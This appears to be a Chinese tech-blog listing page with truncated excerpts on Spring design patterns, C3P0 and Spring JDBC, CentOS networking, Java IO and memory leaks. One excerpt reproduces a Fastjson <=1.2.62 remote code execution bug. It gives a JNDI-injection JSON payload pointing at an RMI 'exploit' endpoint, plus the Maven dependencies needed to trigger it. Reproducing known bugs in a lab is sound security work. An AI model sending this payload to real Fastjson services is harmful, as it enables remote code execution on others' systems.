DBCP

Spring 源码中设计模式?这样回答面试官.才能显得你技高一筹.

时光毁灭记忆、已成空白 提交于 2020-08-10 19:53:55
一:简单工厂模式 又叫做静态工厂方法(StaticFactory Method)模式,但不属于23种GOF设计模式之一。 简单工厂模式的实质是由一个工厂类根据传入的参数,动态决定应该创建哪一个产品类。 spring中的BeanFactory就是简单工厂模式的体现,根据传入一个唯一的标识来获得bean对象,但是否是在传入参数后创建还是传入参数前创建这个要根据具体情况来定。 如下配置,就是在 HelloItxxz 类中创建一个 itxxzBean。 二:工厂方法模式 通常由应用程序直接使用new创建新的对象,为了将对象的创建和使用相分离,采用工厂模式,即应用程序将对象的创建及初始化职责交给工厂对象。 一般情况下,应用程序有自己的工厂对象来创建bean.如果将应用程序自己的工厂对象交给Spring管理,那么Spring管理的就不是普通的bean,而是工厂Bean。 就以工厂方法中的静态方法为例讲解一下: 建一个config.xm配置文件,将其纳入Spring容器来管理,需要通过factory-method指定静态方法名称: 三:单例模式 保证一个类仅有一个实例,并提供一个访问它的全局访问点。spring中的单例模式完成了后半句话,即提供了全局的访问点BeanFactory。但没有从构造器级别去控制单例,这是因为spring管理的是是任意的java对象。 核心提示点

spring使用了哪些设计模式

痞子三分冷 提交于 2020-08-04 10:16:24
Spring 中使用了哪些设计模式? 好了,话不多说,开始今天的内容。spring中常用的设计模式达到九种,我们举例说明。 Spring 框架中用到了哪些设计模式: 工厂设计模式 : Spring使用工厂模式通过 BeanFactory 、 ApplicationContext 创建 bean 对象。 代理设计模式 : Spring AOP 功能的实现。 单例设计模式 : Spring 中的 Bean 默认都是单例的。 模板方法模式 : Spring 中 jdbcTemplate 、 hibernateTemplate 等以 Template 结尾的对数据库操作的类,它们就使用到了模板模式。 包装器设计模式 : 我们的项目需要连接多个数据库,而且不同的客户在每次访问中根据需要会去访问不同的数据库。这种模式让我们可以根据客户的需求能够动态切换不同的数据源。 观察者模式: Spring 事件驱动模型就是观察者模式很经典的一个应用。 适配器模式 :Spring AOP 的增强或通知(Advice)使用到了适配器模式、spring MVC 中也是用到了适配器模式适配 Controller 。 …… 1、简单工厂模式 又叫做静态工厂方法(StaticFactory Method)模式,但不属于23种GOF设计模式之一。 简单工厂模式的实质是由一个工厂类根据传入的参数

设计模式在 Spring 中的应用解析(建议收藏系列)

只愿长相守 提交于 2020-07-28 18:48:03
设计模式作为工作学习中的枕边书,却时常处于勤说不用的尴尬境地,也不是我们时常忘记只是一直没有记忆 。 今天,就设计模式的内在价值做一番探讨,并以spring为例进行讲解,只有领略了其设计的思想理念,才能在工作学习 中运用到“无形”。 Spring作为业界的经典框架,无论是在架构设计方面,还是在代码编写方面,都堪称行内典范 。 spring中常用的设计模式达到九种,我们一一举例 : 第一种:简单工厂 又叫做静态工厂方法(StaticFactory Method)模式,但不属于23种GOF设计模式之一。 简单工厂模式的实质是由一个工厂类根据传入的参数,动态决定应该创建哪一个产品类。 spring中的BeanFactory就是简单工厂模式的体现,根据传入一个唯一的标识来获得bean对象 ,但是否是在传入 参数后创建还是传入参数前创建这个要根据具体情况来定。 如下配置,就是在 HelloItxxz 类中创建一个 itxxzBean 。 第二种:工厂方法(Factory Method) 通常由应用程序直接使用new创建新的对象,为了将对象的创建和使用相分离,采用工厂模式, 即应用程序将对象的创建及初始化职责交给工厂对象。 一般情况下,应用程序有自己的工厂对象来创建bean. 如果将应用程序自己的工厂对象交给Spring管理,那么Spring管理的就不是普通的bean,而是工厂Bean。

Fastjson <=1.2.62 远程代码执行-漏洞复现

血红的双手。 提交于 2020-05-09 22:21:21
影响范围: Fastjson<=1.2.62 需要开启autotype poc: String text1 = " {\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"AsText\":\"rmi://127.0.0.1:1099/exploit\"} " ; pom.xml: <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.62</version> </dependency> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency> tips:这里需要另外导入jar包才能测试 该黑名单主要来自于jackson- CVE-2020-8840 https://nvd.nist.gov/vuln/detail/CVE-2020-8840 漏洞复现: 漏洞分析 这里明显存在jndi注入,但是toObjectImpl不满足fastjson调用规则,因此查看其父类函数

Java开发笔记(一百五十)C3P0连接池的用法

喜夏-厌秋 提交于 2020-05-09 10:46:05
JDBC既制定统一标准兼容了多种数据库,又利用预报告堵上了SQL注入漏洞,照理说已经很完善了,可是人算不如天算,它在性能方面不尽如人意。问题出在数据库连接的管理上,按照正常流程,每次操作完数据库,都要关闭连接,无论是代码里手工关闭,还是由try语句自动关闭。如果没有及时关闭数据库连接,就会长时间占用有限的数据库内存,致使无谓的系统资源浪费。然而频繁开关数据库连接也有毛病,因为每次获取操作都要CPU处理,经常连接数据库会加重CPU的负担。看来内存与CPU像是一对难兄难弟,不管怎么做都会影响其中一个,正所谓鱼与熊掌不可兼得。 其实连接跟线程的情况相似,线程也很头疼频繁创建导致的资源开销,为此Java早早就设计了线程池机制,事先在一个池子中容纳若干线程,需要使用线程时便从中挑一根线程执行任务,任务做完再归还线程,如此实现了线程资源的循环利用,有效提高了系统的整体运行效率。既然线程们组建了线程池这个大家庭,那么连接们能否也组成连接池的大家庭呢?Java固然自带了线程池工具,却未能推出类似的连接池工具,于是各种第三方的连接池蜂拥而起,例如DBCP、C3P0、Proxool等等,其中应用广泛的当数C3P0。 C3P0是一个开源的数据库连接池,它支持JDBC3规范和JDBC2的标准扩展。若要在Java工程中运用C3P0,得先导入它的jar包,比如c3p0-0.9.5.4.jar

CentOS7设置静态IP以及windows下ping不通虚拟机、虚拟机ping不通外网解决方案

和自甴很熟 提交于 2020-05-07 21:20:59
问题:CentOS7安装完成后默认使用的是动态IP,当你每次重新启动CentOS7后,它的IP地址都不一样。一般我们都是使用远程连接工具连接CentOS7进行操作,如果每次IP都不一样,系统启动后,每次连接时都需要修改。针对这种情况我们一般都设置一个静态的IP。具体操作如下 1.查看网卡文件 如果你不知道网卡文件名,可以输入如下命令查看 ll /etc/sysconfig/network-scripts/ | grep ifcfg-en IP的设置是在网卡文件中,使用vi编辑器打开网卡文件 vi /etc/sysconfig/network-scripts/ifcfg-ens33 如果输入命令查看网卡文件时提示 No such file or directory,说明没有网卡文件,使用如下命令新建网卡文件,ifcfg-eno+数字编号,数字编号任意 TYPE = Ethernet BOOTPROTO = dhcp DEFROUTE = yes IPV4_FAILURE_FATAL = no IPV6INIT = yes IPV6_AUTOCONF = yes IPV6_DEFROUTE = yes IPV6_FAILURE_FATAL = no IPV6_ADDR_GEN_MODE =stable- privacy NAME = ens33 UUID =4783ccd4-78dd

Spring 应用之Spring JDBC实现

生来就可爱ヽ(ⅴ<●) 提交于 2020-05-06 03:47:29
jdbcTemplate类的入门 方式一 POM.XML < project xmlns ="http://maven.apache.org/POM/4.0.0" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" > < modelVersion > 4.0.0 </ modelVersion > < groupId > spring-aop </ groupId > < artifactId > spring-aop </ artifactId > < version > 0.0.1-SNAPSHOT </ version > < dependencies > <!-- spring ioc组件需要的依赖包 --> < dependency > < groupId > org.springframework </ groupId > < artifactId > spring-beans </ artifactId > < version > 5.2.1.RELEASE </ version > </ dependency

Spring框架(三)—— Spring的事务管理、Spring框架的JDBC模板

ⅰ亾dé卋堺 提交于 2020-05-06 03:42:01
今天内容 1. Spring框架的AOP之注解的方式 2. Spring框架的JDBC模板 3. Spring框架的事务管理 案例一:使用Spring框架的AOP技术对DAO层的功能进行增强 案例一:使用Spring框架的AOP技术对DAO层的功能进行增强 1. 使用Spring框架的AOP技术对DAO层的功能进行增强 技术分析之:Spring框架的AOP技术(注解方式) 1. 步骤一:创建JavaWEB项目,引入具体的开发的jar包 * 先引入Spring框架开发的基本开发包 * 再引入Spring框架的AOP的开发包 * spring的传统AOP的开发的包 * spring-aop-4.2.4.RELEASE.jar * com.springsource.org.aopalliance-1.0.0.jar * aspectJ的开发包 * com.springsource.org.aspectj.weaver-1.6.8.RELEASE.jar * spring-aspects-4.2.4.RELEASE.jar ​ 2. 步骤二:创建Spring的配置文件,引入具体的AOP的schema约束 <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001

Java之IO流

不羁岁月 提交于 2020-05-04 23:41:37
一、File类的使用 1. File类的理解 File类的一个对象,代表一个文件或一个文件目录(俗称:文件夹)。 File类声明在java.io包下:文件和文件路径的抽象表示形式,与平台无关。 File类中涉及到关于文件或文件目录的创建、删除、重命名、修改时间、文件大小等方法,并未涉及到写入或读取文件内容的操作。如果需要读取或写入文件内容,必须使用IO流来完成。 想要在Java程序中表示一个真实存在的文件或目录,那么必须有一个File对象,但是Java程序中的一个File对象,可能没有一个真实存在的文件或目录。 后续File类的对象常会作为参数传递到流的构造器中,指明读取或写入的"终点"。 2. File的实例化 2.1 常用构造器 File(String filePath) File(String parentPath,String childPath) File(File parentFile,String childPath) 代码示例 : @Test public void test1() { //构造器1 File file1 = new File("hello.txt"); File file2 = new File("E:\\workspace_idea\\JavaSenic\\IO\\hello.txt"); System.out.println(file1);

【java虚拟机】内存溢出解决思路

雨燕双飞 提交于 2020-05-02 11:48:59
转自:https://blog.csdn.net/u013521220/article/details/79523633   内存溢出与数据库锁表的问题,可以说是开发人员的噩梦,一般的程序异常,总是可以知道在什么时候或是在什么操作步骤上出现了异常,而且根据堆栈信息也很容易定位到程序中是某处出现了问题。内存溢出与锁表则不然,一般现象是操作一般时间后系统越来越慢,直到死机,但并不能明确是在什么操作上出现的,发生的时间点也没有规律,查看日志或查看数据库也不能定位出问题的代码。   更严重的是内存溢出与数据库锁表在系统开发和单元测试阶段并不容易被发现,当系统正式上线一般时间后,操作的并发量上来了,数据也积累了一些,系统就容易出现内存溢出或是锁表的现象,而此时系统又不能随意停机或重启,为修正BUG带来很大的困难。   本文以笔者开发和支持的多个项目为例,与大家分享在开发过程中遇到的Java内存溢出和数据库锁表的检测和处理解决过程。 一.内存溢出的分析   内存溢出是指应用系统中存在无法回收的内存或使用的内存过多,最终使得程序运行要用到的内存大于虚拟机能提供的最大内存。为了解决Java中内存溢出问题,我们首先必须了解Java是如何管理内存的。Java的内存管理就是对象的分配和释放问题。在Java中,内存的分配是由程序完成的,而内存的释放是由垃圾收集器(Garbage Collection,GC